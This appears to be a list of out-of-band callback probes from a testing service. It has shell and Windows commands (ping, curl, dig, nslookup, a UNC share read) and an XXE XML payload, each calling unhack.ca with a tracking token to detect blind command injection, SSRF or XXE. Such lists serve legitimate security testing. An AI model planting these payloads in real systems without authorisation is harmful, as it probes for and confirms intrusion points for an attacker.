$ ping -c1 -p 00d0a7201a049138e16cbcb1ac147300 unhack.ca
 

$ curl http://unhack.ca/p/d0a7201a049138e16cbcb1ac1473
 

$ dig d0a7201a049138e16cbcb1ac1473 @unhack.ca
 

$ dig d0a7201a049138e16cbcb1ac1473.ns.unhack.ca
 

C:\> nslookup d0a7201a049138e16cbcb1ac1473 unhack.ca
 

C:\> type \\unhack.ca\d0a7201a049138e16cbcb1ac1473\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d0a7201a049138e16cbcb1ac1473">]>
    <foo>&xxe;</foo>